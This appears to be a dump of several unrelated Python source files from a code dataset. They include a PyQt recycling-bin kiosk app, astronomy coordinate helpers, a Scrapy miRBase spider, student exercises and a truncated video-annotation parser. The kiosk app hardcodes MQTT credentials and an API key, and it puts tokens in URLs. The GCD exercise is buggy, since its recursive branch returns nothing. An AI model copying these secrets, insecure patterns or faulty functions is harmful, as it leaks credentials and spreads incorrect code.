solid darkGray;\n border-top-right-radius:10px;\n border-bottom-right-radius:10px;\n }\n QLabel#right_lable{\n border:none;\n font-size:16px;\n font-weight:700;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n }\n ''')\n\n self.right_recommend_widget.setStyleSheet(\n '''\n QToolButton{border:none;}\n QToolButton:hover{border-bottom:2px solid #F76677;}\n ''')\n\n def showLoginDialog(self):\n self.dialog = Login()\n self.dialog.setWindowModality(QtCore.Qt.ApplicationModal) # 该模式下,只有该dialog关闭,才可以关闭父界面\n self.dialog.show()\n self.dialog.exec_()\n if LOGIN_SIGN:\n # print( self.dialog.exec_())\n self.shwoDeliverDialog()\n\n def shwoDeliverDialog(self):\n self.Deliverdialog = Deliver()\n self.Deliverdialog.token = TOKEN\n self.Deliverdialog.userId = USER_ID\n self.Deliverdialog.setWindowModality(QtCore.Qt.ApplicationModal) # 该模式下,只有该dialog关闭,才可以关闭父界面\n self.Deliverdialog.showMaximized()\n\n def use_palette(self):\n window_pale = QtGui.QPalette()\n window_pale.setBrush(self.backgroundRole(), QtGui.QBrush(QtGui.QPixmap('backgroud.jpg')))\n self.setPalette(window_pale)\n\n def login(self):\n pass\n\n\nclass Login(QtWidgets.QDialog):\n def __init__(self):\n super().__init__()\n self.use_palette()\n self.token = \"\"\n self.qrid = \"\"\n self.userId = \"\"\n self.userName = \"\"\n self.set_input()\n self.init_ui()\n self.client = \"\"\n self.init_mqtt()\n\n def init_ui(self):\n self.main_widget = QtWidgets.QWidget() # 创建窗口主部件\n self.main_layout = QtWidgets.QGridLayout() # 创建主部件的网格布局\n self.main_widget.setLayout(self.main_layout) # 设置窗口主部件布局为网格布局\n\n self.right_widget = QtWidgets.QWidget() # 创建右侧部件\n self.right_widget.setObjectName('right_widget')\n self.right_layout = QtWidgets.QGridLayout()\n self.right_widget.setLayout(self.right_layout) # 设置右侧部件布局为网格\n\n # self.main_layout.addWidget(self.left_widget,0,0,12,2) # 左侧部件在第0行第0列,占8行3列\n self.main_layout.addWidget(self.right_widget, 0, 0, 12, 12) # 右侧部件在第0行第3列,占8行9列\n\n self.right_recommend_label = QtWidgets.QLabel(self)\n self.right_recommend_label.setText(\"\")\n self.right_recommend_label.setStyleSheet(\n \"font:60pt '楷体';color:red\")\n self.right_recommend_label.setAlignment(QtCore.Qt.AlignTop | QtCore.Qt.AlignRight)\n\n self.right_layout.addWidget(self.right_recommend_label, 1, 0, 1, 9)\n\n self.right_recommend_widget = QtWidgets.QWidget() # 推荐封面部件\n self.right_recommend_layout = QtWidgets.QGridLayout() # 推荐封面网格布局\n self.right_recommend_widget.setLayout(self.right_recommend_layout)\n\n self.recommend_button = QtWidgets.QToolButton()\n self.recommend_button.setText(\"login\") # 设置按钮文本\n self.recommend_button.setIcon(QtGui.QIcon('login.png')) # 设置按钮图标\n self.recommend_button.setIconSize(QtCore.QSize(300, 300)) # 设置图标大小\n self.recommend_button.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon) # 设置按钮形式为上图下文\n self.recommend_button.clicked.connect(self.btnOK)\n\n self.right_recommend_layout.addWidget(self.recommend_button, 0, 1)\n\n # self.right_layout.addWidget(self.right_recommend_label, 1, 0, 1, 9)\n self.right_layout.addWidget(self.right_recommend_widget, 3, 0, 2, 9)\n\n # self.recommend_button.accepted.connect(self.accept)\n\n self.btn_1 = QtWidgets.QPushButton(\"取消登录\")\n self.btn_1.clicked.connect(self.btnCancel)\n\n self.right_layout.addWidget(self.btn_1, 4, 0, 1, 9)\n self.timer = QtCore.QTimer(self) # 初始化一个定时器\n self.timer.timeout.connect(self.Cancel) # 计时结束调用operate()方法\n self.timer.start(1000) # 设置计时间隔并启动\n\n self.setLayout(self.main_layout)\n\n self.right_widget.setStyleSheet('''\n QWidget#right_widget{\n color:#232C51;\n background:white;\n border-top:1px solid darkGray;\n border-bottom:1px solid darkGray;\n border-right:1px solid darkGray;\n border-top-right-radius:10px;\n border-bottom-right-radius:10px;\n }\n QLabel#right_lable{\n border:none;\n font-size:16px;\n font-weight:700;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n }\n ''')\n\n def on_connect(self, client, userdata, flags, rc):\n print(\"Connected with result code \" + str(rc))\n # client.subscribe(\"xtrash\")\n client.subscribe(\"xtrash/0001\")\n\n def on_message(self, client, userdata, msg):\n global USER_ID\n global USER_NAME\n global TOKEN\n print(msg.topic + \" \" + msg.payload.decode(\"utf-8\"))\n #mqtt_message = msg.payload\n if msg.topic == r'xtrash/0001':\n print (\"get topic sucessed\")\n global LOGIN_SIGN\n LOGIN_SIGN = True\n #jsonData = json.loads(mqtt_message)\n # TOKEN = jsonData[\"token\"]\n #USER_NAME = jsonData[\"usrname\"]\n #USER_ID = jsonData[\"userId\"]\n self.client.loop_stop()\n self.close()\n\n def init_mqtt(self):\n client_id = time.strftime('%Y%m%d%H%M%S', time.localtime(time.time()))\n self.client = mqtt.Client(client_id) # ClientId不能重复,所以使用当前时间\n\n self.client.username_pw_set(\"secomiot\", \"#secom&2019@\") # 必须设置,否则会返回「Connected with result code 4」\n\n self.client.on_connect = self.on_connect\n self.client.on_message = self.on_message\n self.client.connect(HOST, PORT, 60)\n\n self.client.loop_start()\n\n def set_input(self):\n global USER_ID\n global USER_NAME\n global TOKEN\n TOKEN = \"\"\n USER_NAME = \"\"\n USER_ID = \"\"\n url = \"https://www.yikeni.com/xtrash/get_qrContent/?deviceId=\" + DeviceId\n response = requests.get(url)\n info_dict = json.loads(response.text)\n self.token = info_dict[\"token\"]\n self.qrid = info_dict[\"qrid\"]\n\n Qr = createImage.CreateImage()\n Qr.getQrPath(self.qrid)\n\n def use_palette(self):\n self.setWindowTitle(\"扫码登录\")\n window_pale = QtGui.QPalette()\n window_pale.setBrush(self.backgroundRole(), QtGui.QBrush(QtGui.QPixmap('backgroud.jpg')))\n self.setPalette(window_pale)\n\n def Cancel(self):\n str_second = self.right_recommend_label.text().strip(\"秒\")\n try:\n second = int(str_second)\n except:\n second = 60\n second = second - 1\n if second == 0:\n self.btnCancel()\n self.right_recommend_label.setText(str(second) + \"秒\")\n\n def btnCancel(self):\n global LOGIN_SIGN\n LOGIN_SIGN = False\n\n print (LOGIN_SIGN)\n self.right_recommend_label.setText(\"\")\n self.timer.stop()\n self.client.loop_stop()\n self.close()\n\n def btnOK(self):\n global LOGIN_SIGN\n LOGIN_SIGN = True\n print (LOGIN_SIGN)\n self.right_recommend_label.setText(\"\")\n self.timer.stop()\n self.client.loop_stop()\n self.close()\n\n\nclass Deliver(QtWidgets.QMainWindow):\n def __init__(self):\n super().__init__()\n self.init_ui()\n self.use_palette()\n self.userId = \"\"\n self.token = \"\"\n\n def init_ui(self):\n self.main_widget = QtWidgets.QWidget() # 创建窗口主部件\n self.main_layout = QtWidgets.QGridLayout() # 创建主部件的网格布局\n self.main_widget.setLayout(self.main_layout) # 设置窗口主部件布局为网格布局\n\n self.right_widget = QtWidgets.QWidget() # 创建右侧部件\n self.right_widget.setObjectName('right_widget')\n self.right_layout = QtWidgets.QGridLayout()\n self.right_widget.setLayout(self.right_layout) # 设置右侧部件布局为网格\n\n # self.main_layout.addWidget(self.left_widget,0,0,12,2) # 左侧部件在第0行第0列,占8行3列\n self.main_layout.addWidget(self.right_widget, 0, 0, 12, 12) # 右侧部件在第0行第3列,占8行9列\n self.setCentralWidget(self.main_widget) # 设置窗口主部件\n\n self.right_recommend_widget = QtWidgets.QWidget() # 推荐封面部件\n self.right_recommend_layout = QtWidgets.QGridLayout() # 推荐封面网格布局\n self.right_recommend_widget.setLayout(self.right_recommend_layout)\n\n self.recommend_button_1 = QtWidgets.QToolButton()\n self.recommend_button_1.setObjectName(\"recommend_button_1\")\n # self.recommend_button_1.setText(\"硬板纸\") # 设置按钮文本\n self.recommend_button_1.setIcon(QtGui.QIcon('01.jpg')) # 设置按钮图标\n self.recommend_button_1.setIconSize(QtCore.QSize(300, 300)) # 设置图标大小\n self.recommend_button_1.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon) # 设置按钮形式为上图下文\n self.recommend_button_1.clicked.connect(self.openDoor)\n\n self.recommend_button_2 = QtWidgets.QToolButton()\n self.recommend_button_2.setObjectName(\"recommend_button_2\")\n # self.recommend_button_2.setText(\"所料制品\")\n self.recommend_button_2.setIcon(QtGui.QIcon('02.jpg'))\n self.recommend_button_2.setIconSize(QtCore.QSize(300, 300))\n self.recommend_button_2.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon)\n self.recommend_button_2.clicked.connect(self.openDoor)\n\n self.recommend_button_3 = QtWidgets.QToolButton()\n self.recommend_button_3.setObjectName(\"recommend_button_3\")\n # self.recommend_button_3.setText(\"金属类\")\n self.recommend_button_3.setIcon(QtGui.QIcon('03.jpg'))\n self.recommend_button_3.setIconSize(QtCore.QSize(300, 300))\n self.recommend_button_3.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon)\n self.recommend_button_3.clicked.connect(self.openDoor)\n\n self.recommend_button_4 = QtWidgets.QToolButton()\n self.recommend_button_4.setObjectName(\"recommend_button_4\")\n # self.recommend_button_4.setText(\"玻璃\")\n self.recommend_button_4.setIcon(QtGui.QIcon('04.jpg'))\n self.recommend_button_4.setIconSize(QtCore.QSize(300, 300))\n self.recommend_button_4.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon)\n self.recommend_button_4.clicked.connect(self.openDoor)\n\n self.right_recommend_layout.addWidget(self.recommend_button_1, 0, 0)\n self.right_recommend_layout.addWidget(self.recommend_button_2, 0, 1)\n self.right_recommend_layout.addWidget(self.recommend_button_3, 0, 2)\n\n self.recommend_button_5 = QtWidgets.QToolButton()\n self.recommend_button_5.setObjectName(\"recommend_button_5\")\n # self.recommend_button_5.setText(\"有害类\") # 设置按钮文本\n self.recommend_button_5.setIcon(QtGui.QIcon('05.jpg')) # 设置按钮图标\n self.recommend_button_5.setIconSize(QtCore.QSize(300, 300)) # 设置图标大小\n self.recommend_button_5.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon) # 设置按钮形式为上图下文\n self.recommend_button_5.clicked.connect(self.openDoor)\n\n self.recommend_button_6 = QtWidgets.QToolButton()\n self.recommend_button_6.setObjectName(\"recommend_button_6\")\n # self.recommend_button_6.setText(\"\")\n self.recommend_button_6.setIcon(QtGui.QIcon('06.jpg'))\n self.recommend_button_6.setIconSize(QtCore.QSize(300, 300))\n self.recommend_button_6.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon)\n self.recommend_button_6.clicked.connect(self.openDoor)\n\n self.recommend_button_7 = QtWidgets.QToolButton()\n self.recommend_button_7.setObjectName(\"recommend_button_7\")\n # self.recommend_button_7.setText(\"其他\")\n self.recommend_button_7.setIcon(QtGui.QIcon('07.jpg'))\n self.recommend_button_7.setIconSize(QtCore.QSize(300, 300))\n self.recommend_button_7.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon)\n self.recommend_button_7.clicked.connect(self.openDoor)\n\n self.recommend_button_8 = QtWidgets.QToolButton()\n self.recommend_button_8.setObjectName(\"recommend_button_8\")\n # self.recommend_button_8.setText(\"退出\")\n self.recommend_button_8.setIcon(QtGui.QIcon('08.jpg'))\n self.recommend_button_8.setIconSize(QtCore.QSize(300, 300))\n self.recommend_button_8.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon)\n self.recommend_button_8.clicked.connect(self.exit)\n\n self.right_recommend_layout.addWidget(self.recommend_button_4, 1, 0)\n self.right_recommend_layout.addWidget(self.recommend_button_5, 1, 1)\n self.right_recommend_layout.addWidget(self.recommend_button_6, 1, 2)\n\n self.right_recommend_layout.addWidget(self.recommend_button_7, 2, 0)\n self.right_recommend_layout.addWidget(self.recommend_button_8, 2, 2)\n\n self.right_layout.addWidget(self.right_recommend_widget, 1, 0, 2, 9)\n\n self.right_widget.setStyleSheet('''\n QWidget#right_widget{\n color:#232C51;\n background:white;\n border-top:1px solid darkGray;\n border-bottom:1px solid darkGray;\n border-right:1px solid darkGray;\n border-top-right-radius:10px;\n border-bottom-right-radius:10px;\n }\n QLabel#right_lable{\n border:none;\n font-size:16px;\n font-weight:700;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n }\n ''')\n\n self.right_recommend_widget.setStyleSheet(\n '''\n QToolButton{border:none;}\n QToolButton:hover{border-bottom:2px solid #F76677;}\n ''')\n\n self.setLayout(self.main_layout)\n\n def use_palette(self):\n window_pale = QtGui.QPalette()\n window_pale.setBrush(self.backgroundRole(), QtGui.QBrush(QtGui.QPixmap('backgroud.jpg')))\n self.setPalette(window_pale)\n\n def exit(self):\n self.close()\n\n def openDoor(self):\n DoorNO = \"\"\n ObjectButton = self.sender()\n if ObjectButton == self.recommend_button_1:\n DoorNO = \"01\"\n if ObjectButton == self.recommend_button_2:\n DoorNO = \"02\"\n if ObjectButton == self.recommend_button_3:\n DoorNO = \"03\"\n if ObjectButton == self.recommend_button_4:\n DoorNO = \"04\"\n if ObjectButton == self.recommend_button_5:\n DoorNO = \"05\"\n if ObjectButton == self.recommend_button_6:\n DoorNO = \"06\"\n if ObjectButton == self.recommend_button_7:\n DoorNO = \"07\"\n self.Opendailog = Door()\n self.Opendailog.token = self.token\n self.Opendailog.userId = self.userId\n self.Opendailog.DoorNO = DoorNO\n self.Opendailog.do_action(\"OpenDoor\")\n self.Opendailog.setWindowModality(QtCore.Qt.ApplicationModal) # 该模式下,只有该dialog关闭,才可以关闭父界面\n self.Opendailog.show()\n self.Opendailog.exec_()\n\n\nclass Door(QtWidgets.QDialog):\n def __init__(self):\n super().__init__()\n self.use_palette()\n self.init_ui()\n self.result = False\n self.DoorNO = \"\"\n self.userId = \"\"\n self.token = \"\"\n self.init_ser()\n\n def init_ser(self):\n \"\"\"初始化串口\"\"\"\n number = 0\n while True:\n ser_name = \"/dev/ttyUSB%d\" % number\n try:\n self._ser = serial.Serial(ser_name, 115200, timeout=0.5)\n break\n except:\n number += 1\n\n def closeEvent(self, event):\n \"\"\"关闭串口\"\"\"\n self._ser.close()\n\n def init_ui(self):\n self.main_widget = QtWidgets.QWidget() # 创建窗口主部件\n self.main_layout = QtWidgets.QGridLayout() # 创建主部件的网格布局\n self.main_widget.setLayout(self.main_layout) # 设置窗口主部件布局为网格布局\n\n self.right_widget = QtWidgets.QWidget() # 创建右侧部件\n self.right_widget.setObjectName('right_widget')\n self.right_layout = QtWidgets.QGridLayout()\n self.right_widget.setLayout(self.right_layout) # 设置右侧部件布局为网格\n\n # self.main_layout.addWidget(self.left_widget,0,0,12,2) # 左侧部件在第0行第0列,占8行3列\n self.main_layout.addWidget(self.right_widget, 0, 0, 12, 12) # 右侧部件在第0行第3列,占8行9列\n\n self.right_recommend_label = QtWidgets.QLabel(self)\n self.right_recommend_label.setText(\"60秒后关闭仓门\")\n self.right_recommend_label.setStyleSheet(\n \"font:60pt '楷体';color:red\")\n self.right_recommend_label.setAlignment(QtCore.Qt.AlignTop | QtCore.Qt.AlignRight)\n\n self.right_layout.addWidget(self.right_recommend_label, 1, 0, 1, 9)\n\n self.right_recommend_widget = QtWidgets.QWidget() # 推荐封面部件\n self.right_recommend_layout = QtWidgets.QGridLayout() # 推荐封面网格布局\n self.right_recommend_widget.setLayout(self.right_recommend_layout)\n\n self.recommend_button = QtWidgets.QToolButton()\n self.recommend_button.setText(\"关闭仓门\") # 设置按钮文本\n self.recommend_button.setIcon(QtGui.QIcon('cloedDoor.jpg')) # 设置按钮图标\n self.recommend_button.setIconSize(QtCore.QSize(200, 200)) # 设置图标大小\n self.recommend_button.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon) # 设置按钮形式为上图下文\n self.recommend_button.clicked.connect(self.btnOK)\n\n self.right_recommend_layout.addWidget(self.recommend_button, 0, 1)\n\n # self.right_layout.addWidget(self.right_recommend_label, 1, 0, 1, 9)\n self.right_layout.addWidget(self.right_recommend_widget, 3, 0, 2, 9)\n\n # self.recommend_button.accepted.connect(self.accept)\n\n self.timer = QtCore.QTimer(self) # 初始化一个定时器\n self.timer.timeout.connect(self.Cancel) # 计时结束调用operate()方法\n self.timer.start(1000) # 设置计时间隔并启动\n\n self.setLayout(self.main_layout)\n\n self.right_widget.setStyleSheet('''\n QWidget#right_widget{\n color:#232C51;\n background:white;\n border-top:1px solid darkGray;\n border-bottom:1px solid darkGray;\n border-right:1px solid darkGray;\n border-top-right-radius:10px;\n border-bottom-right-radius:10px;\n }\n QLabel#right_lable{\n border:none;\n font-size:16px;\n font-weight:700;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n }\n ''')\n\n def use_palette(self):\n self.setWindowTitle(\"扫码登录\")\n window_pale = QtGui.QPalette()\n window_pale.setBrush(self.backgroundRole(), QtGui.QBrush(QtGui.QPixmap('backgroud.jpg')))\n self.setPalette(window_pale)\n\n def Cancel(self):\n str_second = self.right_recommend_label.text().strip(\"秒\")\n try:\n second = int(str_second)\n except:\n second = 60\n second = second - 1\n if second == 0:\n self.btnCancel()\n self.right_recommend_label.setText(str(second) + \"秒\")\n\n def btnCancel(self):\n \"\"\"超时关门\"\"\"\n global LOGIN_SIGN\n LOGIN_SIGN = False\n self.right_recommend_label.setText(\"60秒后关闭仓门\")\n self.timer.stop()\n res = self.do_action(\"CloseDoor\")\n #if res:\n # photo = self.do_action(\"Photograph\")\n # self.upload_picture(photo)\n # Weigh = self.do_action(\"Weigh\")\n # self.upload_weigh(Weigh)\n # Height = self.do_action(\"Height\")\n # self.upload_Height(Height)\n self.close()\n\n def btnOK(self):\n \"\"\"手动关门\"\"\"\n global LOGIN_SIGN\n LOGIN_SIGN = True\n\n self.right_recommend_label.setText(\"60秒后关闭仓门\")\n self.timer.stop()\n res = self.do_action(\"CloseDoor\")\n #if res:\n # photo = self.do_action(\"Photograph\")\n # self.upload_picture(photo)\n # Weigh = self.do_action(\"Weigh\")\n # self.upload_weigh(Weigh)\n # Height = self.do_action(\"Height\")\n # self.upload_Height(Height)\n self.close()\n\n def upload_picture(self, picture):\n url = \"https://www.yikeni.com/xtrash/upload_picture/?deviceId=%s&token=%s&type=1\" % (DeviceId, self.token)\n header_dict = {\n 'Api-Key': 'InhpeWFuZzA4MDdJBtx4AWlPpI_Oxx1Ki8',\n 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36'\n }\n\n time_string = datetime.datetime.now().strftime(\"%Y-%m-%d_%H:%S:%M\")\n\n picture_name = DeviceId + \"_\" + time_string + \".png\"\n multiple_files = [\n ('images', (picture_name, picture, 'image/png'))\n ]\n response = requests.post(url, files=multiple_files, headers=header_dict)\n print(response.text)\n\n def upload_weigh(self, Weigh):\n url = \"https://www.yikeni.com/xtrash/upload_weight/?deviceId=%s&weight=%s&token=%s&userId=%s\" % (\n DeviceId, Weigh, self.token, self.userId)\n response = requests.get(url)\n print(response.text)\n\n def upload_Height(self, Height):\n url = \"https://www.yikeni.com/xtrash/upload_height/?deviceId=%s&height=%s&token=%s&userId=%s\" % (\n DeviceId, Height, self.token, self.userId)\n response = requests.get(url)\n print(response.text)\n\n def record_action(self, Type):\n \"\"\" Type 操作类型 1:开门 2:关门\"\"\"\n url = \"https://www.yikeni.com/xtrash/add_operationecord/?type=%s&userId=%s&token=%s\" % (\n Type, self.userId, self.token)\n response = requests.get(url)\n print(response.text)\n\n def do_action(self, action):\n print (\"DoorNO:\" + self.DoorNO)\n input_dict = {\"Action\": action, \"Number\": self.DoorNO}\n input_str = json.dumps(input_dict)\n print(action)\n print(input_str)\n self._ser.write(input_str.encode())\n #length = self._ser.inWaiting()\n #res = self._ser.read(length).decode(\"utf-8\")\n #res.replace(\"'\", '\"')\n #out_put = json.loads(res)\n #print (input_dict)\n #return out_put[\"info\"]\n return 1\n\n\ndef main():\n app = QtWidgets.QApplication(sys.argv)\n gui = MainUi()\n\n gui.showFullScreen()\n sys.exit(app.exec_())\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"UI/app_main.py","file_name":"app_main.py","file_ext":"py","file_size_in_byte":28167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"104073907","text":"#!/usr/bin/env python3\n\"\"\"Module with auxiliar functions:\nTransform AltAz coordinates into Camera coordinates (This should be\nimplemented already in ctapipe but I haven't managed to find how to\ndo it)\nCalculate source position from Disp distance.\nCalculate Disp distance from source position.\n\nUsage:\n\n\"import utils\"\n\"\"\"\n\nimport numpy as np\nimport ctapipe.coordinates as c\nimport astropy.units as u\n\ndef alt_to_theta(alt):\n \"\"\"Transforms altitude (angle from the horizon upwards) to theta\n (angle from z-axis) for simtel array coordinate systems \n Parameters:\n -----------\n alt: float\n\n Returns:\n --------\n float: theta\n \n \"\"\"\n \n return (90 * u.deg - alt).to(alt.unit)\n\n\ndef az_to_phi(az):\n \"\"\"Transforms azimuth (angle from north towards east) \n to phi (angle from x-axis towards y-axis) \n for simtel array coordinate systems \n Parameters:\n -----------\n az: float\n \n Returns:\n --------\n az: float\n \"\"\"\n return -az\n\n \ndef calc_CamSourcePos(mcAlt,mcAz,mcAlttel,mcAztel,focal_length):\n \"\"\"Transform Alt-Az source position into Camera(x,y) coordinates\n source position. \n \n Parameters:\n -----------\n mcAlt: float\n Alt coordinate of the event\n\n mcAz: float\n Az coordinate of the event\n\n mcAlttel: float\n Alt coordinate of the telescope pointing\n\n mcAztel: float\n Az coordinate of the telescope pointing\n\n focal_length: float\n Focal length of the telescope\n \n Returns:\n --------\n float: Source_X1,\n\n float: Source_X2\n \"\"\"\n\n mcAlt = alt_to_theta(mcAlt*u.rad).value\n mcAz = az_to_phi(mcAz*u.rad).value\n mcAlttel = alt_to_theta(mcAlttel*u.rad).value\n mcAztel = az_to_phi(mcAztel*u.rad).value\n \n #Sines and cosines of direction angles\n cp = np.cos(mcAz)\n sp = np.sin(mcAz)\n ct = np.cos(mcAlt)\n st = np.sin(mcAlt)\n \n #Shower direction coordinates\n\n sourcex = st*cp\n sourcey = st*sp\n sourcez = ct\n\n #print(sourcex)\n\n source = np.array([sourcex,sourcey,sourcez])\n source=source.T\n \n #Rotation matrices towars the camera frame\n \n rot_Matrix = np.empty((0,3,3))\n \n alttel = mcAlttel\n aztel = mcAztel\n mat_Y = np.array([[np.cos(alttel),0,np.sin(alttel)],\n [0,1,0], \n [-np.sin(alttel),0,np.cos(alttel)]]).T\n \n \n mat_Z = np.array([[np.cos(aztel),-np.sin(aztel),0],\n [np.sin(aztel),np.cos(aztel),0],\n [0,0,1]]).T\n \n rot_Matrix = np.matmul(mat_Y,mat_Z)\n \n res = np.einsum(\"...ji,...i\",rot_Matrix,source)\n res = res.T\n \n Source_X = -focal_length*res[0]/res[2]\n Source_Y = -focal_length*res[1]/res[2]\n return Source_X, Source_Y\n\ndef calc_DISP(Source_X,Source_Y,cen_x,cen_y):\n \"\"\"\n Calculates \"Disp\" distance from source position in camera\n coordinates\n \n Parameters:\n -----------\n Source_X: float\n Source coordinate X in camera frame\n\n Source_Y: float\n Source coordinate Y in camera frame\n\n cen_x = float\n Coordinate x of the center of gravity of Hillas ellipse\n\n cen_y = float\n Coordinate y of the center of gravity of Hillas ellipse\n\n Returns:\n --------\n float: disp\n \"\"\"\n disp = np.sqrt((Source_X-cen_x)**2\n +(Source_Y-cen_y)**2)\n return disp\n\ndef Disp_to_Pos(Disp,cen_x,cen_y,psi):\n \"\"\"\n Calculates source position in camera coordinates(x,y) from \"Disp\"\n distance.\n For now, it only works for POINT GAMMAS, it doesn't take into\n account the duplicity of the disp method.\n \n Parameters:\n -----------\n Disp: float\n Disp distance\n\n cen_x = float\n Coordinate x of the center of gravity of Hillas ellipse\n\n cen_y = float\n Coordinate y of the center of gravity of Hillas ellipse\n\n psi: float\n Angle between semimajor axis of the Hillas ellipse and the\n horizontal plane of the camera.\n\n Returns:\n --------\n float: Source_X1\n\n float: Source_X2\n \n \"\"\"\n \n Source_X1 = cen_x - Disp*np.cos(psi)\n Source_Y1 = cen_y - Disp*np.sin(psi)\n \n return Source_X1,Source_Y1\n \n \n","sub_path":"reco/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"412181698","text":"''' Assignment 10 Corey Tesdahl\n\tThis program determins the Greatest Common Devisor (GCD) of a pair \n\tof numbers. It does so recursively. '''\n\n# main function definition. main runs test cases of gcd function\ndef main():\n\tprint(gcd(12,8))\n\tprint(gcd(8,8))\n\tprint(gcd(13,17))\n\tprint(gcd(0,8))\n\tprint(gcd(8,0))\n\t\ndef gcd(numerator, denominator):\n\tif denominator == 0:\n\t\treturn -1\n\telif numerator % denominator == 0:\n\t\treturn denominator\n\telse:\n\t\tgcd(denominator, numerator % denominator)\n\t\t\t\n\t\t\nmain()\n","sub_path":"Assignment10.py","file_name":"Assignment10.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"510271944","text":"# lesson #1\n# 4. Пользователь вводит целое положительное число. Найдите самую большую цифру в числе.\n# Для решения используйте цикл while и арифметические операции.\n\n\nwhile True:\n number = input(\"Введите целое положительное число: \")\n\n if number.isdigit():\n number = float(number)\n maxNumber = 1\n if number < 10:\n print(f\"Наибольшая цифра в числе = {int(number)}\")\n break\n\n while number/10 >= 1:\n if maxNumber < number % 10:\n maxNumber = number % 10\n\n number = number // 10\n\n print(f\"Наибольшая цифра в числе = {int(maxNumber)}\")\n break","sub_path":"Task#4.py","file_name":"Task#4.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"74356266","text":"import scrapy\nfrom bs4 import BeautifulSoup\n\nclass NatureJobsSpider(scrapy.Spider):\n name = \"mirbase_mouse\"\n visited = []\n \n def start_requests(self):\n #start urls, to get identifiers for other species add links to it\n urls = ['http://www.mirbase.org/cgi-bin/mirna_summary.pl?org=mmu']\n #go through pages\n for url in urls:\n yield scrapy.Request(url=url, callback=self.get_id_pages)\n \n def get_id_pages(self, response):\n \"\"\"Method to get links for all MIR entries on current page\"\"\"\n #get links from \"odd\" and \"even\" table elements\n even = set(response.css('tr.even a::attr(href)').extract())\n odd = set(response.css('tr.odd a::attr(href)').extract())\n mirs = odd.union(even)\n \n for link in mirs:\n url = 'http://www.mirbase.org/cgi-bin/' + link\n #just to avoid revisiting -> should be unnecessary\n if not url in self.visited:\n self.visited.append(url)\n yield scrapy.Request(url=url, callback=self.parse)\n\n\n def parse(self, response):\n \"\"\"get database IDs from the previously selected pages\"\"\"\n mirtar = []\n tarbase = []\n #grab fields with database information\n dbs = response.css(\"ul.databaseLinks li::text\").extract()\n symb = response.css(\"ul.databaseLinks a::text\").extract()\n #get interesting database ids \n for i in range(len(dbs)):\n #skip first element because it's \"\\n\"\n if dbs[i][1:5] == \"MGI:\":\n mgi = dbs[i][1:-1].replace(\" \", \"\")\n mgi_symb = symb[i]\n elif dbs[i][1::] == \"MIRTARBASE:\":\n mirtar.append(symb[i])\n elif dbs[i][1::] == \"TARBASE:\":\n tarbase.append(symb[i])\n \n #if no validated targets are listed set variables to \"NaN\"\n if not mirtar:\n mirtar = \"NaN\"\n if not tarbase:\n tarbase = \"NaN\"\n #return ids\n yield {\n 'MGI': mgi,\n 'MGI-Symbol': mgi_symb,\n 'MIRBASE-TRACKER': symb[0],\n 'MIRTARBASE': mirtar,\n 'TARBASE': tarbase\n }\n\n","sub_path":"HGNC_mapping/spiders/mirbase_mouse.py","file_name":"mirbase_mouse.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"477297857","text":"import sqlite3\nimport json\nimport string\nimport cv2\nimport os\n#import time\n\nSQL_DB_NAME = 'db.sqlite3'\nTABLE_NAME = 'annotator_video'\nVIDEO_FIELD_NAME = 'filename'\nLABEL_FIELD_NAME = 'annotation'\nVIDEO_DIR = '/home/gemfield/video_annotation_web/'\n\nCOMPANY = 'mghy'\nPROJECT = 'mgAI'\nDATA_PHASE = 'Preprocessing'\nDATA_TYPE = 'Video'\n#DATA_TIME = time.strftime(\"%Y%m%d\",time.localtime())\n\n\nclass AnnotationRecord():\n def __init__(self):\n self.hero_name = ''\n self.time = 0\n self.x = 0\n self.y = 0\n self.w = 0\n self.h = 0\n\n# Fetch video_name & corresponding label_json_str\ndef fetchLabelJsonFromSqlite3():\n if not os.path.isfile(SQL_DB_NAME):\n raise Exception(\"cannot found %s in current filesystem\" %SQL_DB_NAME)\n \n conn = sqlite3.connect(SQL_DB_NAME)\n cursor = conn.cursor()\n cursor.execute('select ' + VIDEO_FIELD_NAME + ',' + LABEL_FIELD_NAME + ' from ' + TABLE_NAME)\n raw_sql_records = cursor.fetchall()\n cursor.close()\n conn.close()\n return raw_sql_records\n\ndef parseJson(raw_str):\n record_list = []\n #invalid json\n if len(raw_str) < 10 :\n return record_list\n #json_res will be a list\n json_res = json.loads(raw_str)\n for annotation in json_res:\n hero_name = annotation['type']\n keyframes = annotation[\"keyframes\"]\n for keyframe in keyframes:\n annotation_record = AnnotationRecord()\n annotation_record.hero_name = hero_name.encode('utf-8').strip()\n annotation_record.time = keyframe['frame']\n annotation_record.x = int(round(keyframe['x']))\n annotation_record.y = int(round(keyframe['y']))\n annotation_record.w = int(round(keyframe['w']))\n annotation_record.h = int(round(keyframe['h']))\n record_list.append(annotation_record)\n return record_list\n\ndef generateLabelImgs(filename, json_result):\n if not json_result:\n return\n if len(json_result) == 0:\n return\n # video file 